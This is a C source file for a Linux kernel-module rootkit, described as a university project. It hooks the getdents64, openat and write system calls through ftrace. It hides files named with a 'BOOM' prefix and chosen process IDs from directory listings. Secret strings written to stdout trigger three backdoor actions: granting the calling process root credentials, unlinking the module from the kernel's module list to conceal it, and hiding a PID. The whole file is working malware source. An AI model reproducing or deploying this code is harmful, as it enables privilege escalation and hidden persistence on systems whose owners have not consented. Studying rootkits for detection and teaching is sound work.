lkm_rootkit/rootkit.c

232 lines
5.2 KiB
C
Raw Normal View History

// LKM_rootkit
// Copyright © 2021 Volodymyr Patuta
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include "fthook.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Volodymyr Patuta");
MODULE_DESCRIPTION("University project");
MODULE_VERSION("0.0.1");
unsigned int target_fd = 0;
unsigned int target_pid = 0;
static asmlinkage long (*orig_sys_openat)(struct pt_regs *);
static asmlinkage long (*orig_sys_write)(struct pt_regs *);
static asmlinkage long (*orig_sys_getdents64)(struct pt_regs *);
static int make_me_root(void);
static void hide(void);
static void unhide(void);
struct list_head *list;
static int is_hidden = 0;
static const char *hide_prefix = "BOOM";
const int hide_prefix_len = 4;
char given_pid[200];
static char hidden_pid[200][200];
static int hidden_pids = 0;
static asmlinkage long fh_sys_getdents64(struct pt_regs *regs)
{
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
struct linux_dirent64 *prev_dir, *current_dir, *orig = NULL;
unsigned long offset = 0;
long err;
int ret = orig_sys_getdents64(regs);
orig = kzalloc(ret, GFP_KERNEL);
if (ret <= 0 || orig == NULL) {
return ret;
}
err = copy_from_user(orig, dirent, ret);
if (err) {
kfree(orig);
return ret;
}
while (offset < ret) {
current_dir = (void *)orig + offset;
if ((memcmp(given_pid, current_dir->d_name, strlen(given_pid)) == 0) &&
(strncmp(given_pid, "", NAME_MAX) != 0)) {
if (current_dir == orig) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
prev_dir->d_reclen += current_dir->d_reclen;
}
if (memcmp(hide_prefix, current_dir->d_name, hide_prefix_len) == 0) {
if (current_dir == orig) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
prev_dir->d_reclen += current_dir->d_reclen;
} else {
prev_dir = current_dir;
}
offset += current_dir->d_reclen;
}
err = copy_to_user(dirent, orig, ret);
if (err) {
kfree(orig);
return ret;
}
kfree(orig);
return ret;
}
static asmlinkage long fh_sys_openat(struct pt_regs *regs)
{
long ret;
struct task_struct *task;
task = current;
if (strncmp((char *)regs->si, "/dev/null", 15) == 0) {
ret = orig_sys_openat(regs);
target_fd = ret;
target_pid = task->pid;
return ret;
}
ret = orig_sys_openat(regs);
return ret;
}
static asmlinkage long fh_sys_write(struct pt_regs *regs)
{
struct task_struct *task;
task = current;
if (task->pid == target_pid) {
if (regs->di == 1 || regs->di == target_fd) {
char __user *buf = (char *)regs->si;
if (strncmp(buf, "secretroot", 10) == 0) {
make_me_root();
} else if (strncmp(buf, "secrethideme", 12) == 0) {
hide();
} else if (strncmp(buf, "secretreveal", 12) == 0) {
unhide();
} else if (strncmp(buf, "secrethide$", 11) == 0) {
given_pid[0] = '\0';
strncat(given_pid, buf + 11, strlen(buf + 11) - strlen(strrchr(buf, '$')));
printk(KERN_DEBUG "rootkit: buf [%s]\n", given_pid);
}
}
}
return orig_sys_write(regs);
}
static struct ftrace_hook hooks[] = {
HOOK("sys_write", fh_sys_write, &orig_sys_write),
HOOK("sys_openat", fh_sys_openat, &orig_sys_openat),
HOOK("sys_getdents64", fh_sys_getdents64, &orig_sys_getdents64),
};
static int make_me_root(void)
{
struct pid *proc_pid;
struct task_struct *task;
struct cred *new_cred;
kuid_t kuid;
kgid_t kgid;
// printk(KERN_ERR "BOOM! [%llu]\n", val);
proc_pid = find_vpid(target_pid);
if (proc_pid == NULL) {
printk(KERN_ERR "ERR find_vpid()\n");
return 1;
}
task = pid_task(proc_pid, PIDTYPE_PID);
if (task == NULL) {
printk(KERN_ERR "ERR pid_task()\n");
return 2;
}
kuid = KUIDT_INIT(0);
kgid = KGIDT_INIT(0);
new_cred = prepare_creds();
if (new_cred == NULL) {
printk(KERN_ERR "ERR prepare_creds()\n");
return 3;
}
new_cred->uid = kuid;
new_cred->gid = kgid;
new_cred->euid = kuid;
new_cred->egid = kgid;
commit_creds(new_cred);
return 0;
}
static void hide(void)
{
if (is_hidden) {
return;
}
list = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
is_hidden = 1;
}
static void unhide(void)
{
if (!is_hidden) {
return;
}
list_add(&THIS_MODULE->list, list);
is_hidden = 0;
}
static int __init boom_init(void)
{
int err;
pr_info("BOOM\n");
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if (err)
return err;
// hide();
pr_info("module loaded\n");
return 0;
}
static void __exit boom_exit(void)
{
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
pr_info("Psshhh\n");
}
module_init(boom_init);
module_exit(boom_exit);